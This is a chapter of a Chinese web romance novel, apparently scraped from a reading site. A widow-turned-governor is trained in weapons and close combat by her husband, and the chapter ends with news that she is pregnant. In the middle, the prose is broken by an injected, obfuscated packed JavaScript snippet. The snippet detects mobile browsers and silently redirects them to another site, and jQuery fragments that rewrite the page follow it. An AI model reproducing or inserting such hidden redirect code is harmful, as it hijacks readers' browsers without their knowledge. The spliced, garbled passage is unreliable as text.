54. [锁] [此章节已锁]

作品:《穿为美艳遗孀,四个亡夫铺我青云路

    从这日起,刘宁化身为牢头,把夏知霜“关”在练武场,她在台上艰难挥舞长剑、皮鞭、弓箭等兵器,他在台下指点江山。


    刘宁贵为观东刘氏之子,自当文武双全,他对武学不说多么精通,起码是不俗的,否则几年前就逃不出叛军铺天盖地的追杀,以他的武艺,当她的私人教头绰绰有余。


    不过他惯使的兵器有限,所以暗卫们自告奋勇,纷纷表示可以指点夫人他们精通的兵器。


    天下即将大乱,谁都预料不到今后是何局面,学几样保命本领总是好的。


    夏知霜不是不知好歹的人,其实她也早有此意,在陈府备受磋磨的日夜,她不止一次的想,如果她会几样拳脚功夫,想来没那么容易被抓住,便不用受那么多鸟罪了。


    奈何一波未平一波又起,她压根没有时间练习,目下刘宁的做法正合她意,夫妻俩是想到一块去了。


    问题是,她的时间和精力有限,只想专精一样武器,不想做个十八般兵器都精通的武状元呀。


    “趁手的兵器犹如你的第三只手,既想专精一项,更要慎重抉择。你不一一试练,如何知晓哪种兵器是你的专长?”刘牢头是这么说的。


    她正待辩驳,刘牢头快一步劝诱:“假使你身陷险境,擅长的兵器途中掉落,周围只有你不会使的武器,你要如何自保呢?”


    夏知霜讷讷无言,承认他说的有道理。


    她的任务就不容更改的分成了两步,第一步,惯用常见兵器,第二步,捡喜欢的武器精习。


    她安慰自己技多不压身,默默刻苦学习。


    但是吧……


    她又一次艰难拉弓,忍着手臂酸痛对准靶子脱弦,箭矢别说中靶,那是连草人的边都没挨到。


    这已经是夏知霜目前最好的成绩了。


    因为她的箭头有时候会乱飞,飞到别的空地倒罢了,有时候会飞到刘宁那边,好采他有防备溜得快,暗卫也会及时击飞箭矢,而且箭头是蜡做的,不然早被射成窟窿了。


    即便如此,还是有漏网之鱼。


    彼时,狼狈躲避还是没躲掉的刘总督从发髻上取下一支箭,从箭头目移至箭羽,眼神相当复杂。


    须知,刘总督含着金汤匙出生,除去叛军围剿的那几个月,他平生没那么狼狈过。


    暗卫们一个激灵,嗖的一下退远了,那个画面不是他们该看的!


    夏知霜提着至少二十斤重的弓,心虚不已,也不敢往台下看。


    刘宁正了正衣冠,变回了优雅的端方君子,尽量委婉、含蓄、隐晦地对爱妻说:“弓把太重,以你现在的臂力,练起来确实吃力,是我疏忽了,咱们暂且练别的吧。”


    她心虚尴尬愧疚,哪里敢说不?连忙点头,这时候就是要她上山去打虎都不带犹豫的。


    然后就轮到了刀剑的回合。


    刀剑看起来很帅,然而据说最轻的那柄对她来说都是重死人,刀谱和剑法还不同,夏知霜练得头昏眼花。


    她偶尔力有不支倒下,险些没被手中的剑戳伤,幸好刘宁有先见之明,她手中的全是未开刃的。


    之后是皮鞭,骆怡演示的时候甩鞭的姿态帅气极了,夏知霜看得目不转睛,鞭尾发出的噼啪响听得十分悦耳,她对鞭子的兴趣非常浓厚,还没开始上手她就认定这是自己的本名武器了。


    她信心十足,发誓自己要好好学!


    ……不到半天就放弃了。


    天底下怎么会有人在大力甩鞭子的时候,一个不小心把鞭尾甩到自己脖颈上缠了好几圈呢?!


    夏知霜想不通,非常想不通。刘宁也愣了愣,迅速帮她解下鞭子,叫人取药来。


    教学的骆怡可能也不知道会是这个结果,趁被主君和夫人灭口之前,默默闪人,她想暗示同伴一起走,结果一众暗卫比她跑得更快,早在夫人鞭子失控时就非礼勿视了。


    那个画面也是他们不能看的,他们什么都没看到!


    练武场没有外人,进人也只进了夏知霜身边的三位贴身侍婢。


    夏知霜瘫在椅子上咸鱼躺,一脸的生无可恋,月樱端着膏药担心的守一旁,月荷细细涂药,月兰慢慢给她喂茶。


    刘宁仔细观察,见她脖子的鞭痕只是略微红了点,无甚大碍,彻底放心了。


    处理完伤口,她换过外袍,坐在那还是一副“好丢脸哦”的表情,夫妇俩悠悠闲谈。


    夏知霜娇声控诉:“是鞭子不听话。”


    “对,都是它不听话。”刘宁一脸认真的附和,心中忍笑。


    夏知霜:“我不要练鞭子了,我不喜欢。”全然忘了不久前刚把人家当本命武器的事。


    刘宁:“好,好,咱们都听霜霜的。”


    夏知霜越说越气:“肯定是我跟这些武器天生八字不合,没一样趁手,拿在我手上像是要跟我作对。”


    刘宁说得煞有其事:“嗯,它们有眼无珠,太不识相了。”


    她噗嗤一声,被他一本正经开玩笑的样子逗笑了,他跟着一起展颜。


    被人这么无条件的宠着、哄着,夏知霜反倒觉得不好意思了,心里的那点窘迫很快不翼而飞。


    她侧头轻轻靠在他结实的肩膀上,趁势要求:“我累了,今日不练了吧?”


    刘宁温柔应了生“好”。


    夏知霜顿时高兴了,配上当晚一桌美味的八宝鸭、腌笃鲜、芙蓉鸡片、乳鸽药膳汤,并几道清爽的蔬菜,一扫阴霾,把丢脸的破事忘得一干二净。


    结果第二天,她的好丈夫又把她带到练武场去了。


    夏知霜悲伤的一抹脸,伸指戳身边那个混球:“夫君,咱们还有好多公务没处理,要不……”


    刘宁微笑:“有军师在,夫人不必挂心。”


    夏知霜义正言辞:“那么多公文我们两个尚且批阅不完,军师独木难支,把所有事务都推给他,这不太好吧?”


    刘宁依然微笑:“不妨事,还有吕大人和张大人。”


    鲁元在吕麟和张廷的协助下,可以处理大半的公文,不太重要的事过后汇总交上来就行,大事鲁元会列出几个处理方案,他们负责拍板即可,需要他们出面的顶顶重要的事还是比较少的。


    前段时间她刚正式上任代总督,为了磨砺她,才把大小事务都抬给她批阅,这是每任新总督的必经之路。


    他如此这般的解释,夏知霜便没了话头,认命走上练武台。


    不过旁边的架子空无一物,可能刘宁也发觉了她对刀剑弓枪等兵器实在没有天分,甚至还会伤及自己,因此改为教她近身之术。


    两个暗卫在台子的另一边演示对打,包括怎样挣脱束缚,如何攻击要害,怎么先发制人等等。


    暗卫反复演示,不厌其烦,速度很慢,直到她记全为止。


    夏知霜先拿骆怡当练习对象,两人摔摔打打,她天天腰酸背痛腿抽筋,苦不堪言。


    骆怡好不到哪里去,这点练习她当然是小菜一碟,但她一身蛮力,对夫人轻不得、重不得,生怕伤到了夫人,搞得她每天苦兮兮的,比日常繁重的训练还要累。


    约有小半月,夏知霜终于能偶尔赢过骆怡一回。


    赢过骆怡她还不满足,骆怡和她身量相仿,考虑到敌人比她更高大强壮的可能性,还需要换一个练习对象。


    男暗卫哪敢贴近她,刘宁就成为了不二人选。


    于是画风渐渐歪了。


    二人贴着贴着,抱一块了,又因他们是近身纠缠,难免会被带倒,两人躺地上抱着抱着,就滚来滚去了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832745|183263||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    唉~世风日下,伤风败俗。


    两个当事人明显也觉得光天化日贴身“搏斗”不合适,接下来的练习场地就换到了书房外的大院子,往日刘宁心血来潮想舞剑就在院子里舞,地方绝对够宽。


    可想而知,换到幽静的地方后,“伤风败俗”的频率不降反升。


    要说这是夫妻情调,那也不太准确,其实他们还是有心认真练习的,就是这对昔日很默契的夫妻忽然就变得不同频了。


    刘宁一心教学的时候,她看着近在咫尺无可挑剔的肩宽、窄腰、长腿,默默咽口水,本来还忍得住,触到那结实的胸肌,脑子里的黄色废料就一发不可收拾了。


    她仰头去亲吻,香舌不断勾缠,刘宁被她吸得魂都要出来了,哪里顾得上教书育人呢。


    当夏知霜心无旁骛练习的时候,妩媚的眉眼多了股不同平时的英气,不带感情的眼神别有韵味,身姿旋转之时说不出的妙曼动人,宛如将将盛开的鲜花。


    她的匕首架在他颈侧,冷若冰霜的神色化作巧笑嫣兮,满足地宣布:“你输了。”


    花骨朵在他面前毫无保留的灿然盛开,娇艳、美丽、危险而诱人。


    有花堪折直须折,刘宁当然没忍住,埋头采撷甘甜的花蜜。


    “呀,你这人。”恼羞的娇嗔在风中若隐若现。


    ……


    话虽如此,两人还是有认真练习的。


    正经练习完,夫妻洗漱换衣后,像平常那样靠在一起。


    刘宁挖一块药膏涂在她手上长水泡的地方,还有她磕磕碰碰的青块紫块,心酸极了,根本不敢用力,仿佛捧着易碎的宝玉美瓷。


    夏知霜顺着他的目光看去,这双手以前干过许多粗活,受过不少的伤,养了两三年才养得柔滑水嫩,现今十指青葱又要舞刀弄棒,长泡出血在所难免。


    她静看他小心翼翼涂完药,扣住他的手摇晃两下,抬头向他笑:“你是为我好,我知道。”


    刘宁搂住她,紧紧地拥抱,埋头在幽香的发间,犹如梦呓:“我只是怕,你有朝一日,会沦落至我不幸的境地。”


    战争离他们是那么的近,一旦交兵,瞬息万变。


    他不惧死亡,他的心已在全族覆灭的那日千疮百孔,他见尽世间丑恶,身死没什么好怕的,唯独牵挂四郡子民的安危,不放下她遗留世上受苦受难。


    如苍天不佑,他不幸战死,他希望她不会像他那样沦落到逃亡的境地,倘若她真到了孤身一人逃亡的地步,他希望她能利用他教授的保命手段活下去。


    刘宁有时候会想,当初是不是不该拉她入这难解之局,他给她带去权势,也带去了危险。


    夏知霜含泪回抱他,轻松地说:“你以为我会怨你?我怎么会呢?我全都知道。与你相遇的日子,是我今生最快活的时光。”


    刘宁沉默无言,只是久久没放开她。


    她心中一声叹息,发誓来日要多学几样自保手段,为了她自己,也为了让他安心。


    计划赶不上变化,就在她暗暗发誓不久,郭秀婉请的平安脉诊出她有喜了。


    刘宁怔了半晌,还是旁边的傅杭道了几句吉祥话,屋子里的月樱几个丫头乐得活蹦乱跳,他才反应过来,他大喜之下赏赐全府下人,整个侯府喜气洋洋。


    不出几日,刘氏有继的消息传开了,上至他这个总督,下至平民百姓,俱是欢天喜地。


    夏知霜摸摸平坦的小腹,没有什么真实感。


    彩玉第一时间上门道喜,因刘宁要月兰几个小心伺候夏知霜,她身边十二时辰不能离人,顾忌下人在,她们只交换了个“终于等到了”的眼神,没有太深入聊私事。


    道完喜,说完瑜记的事,彩玉还带来了一个出人意料的消息。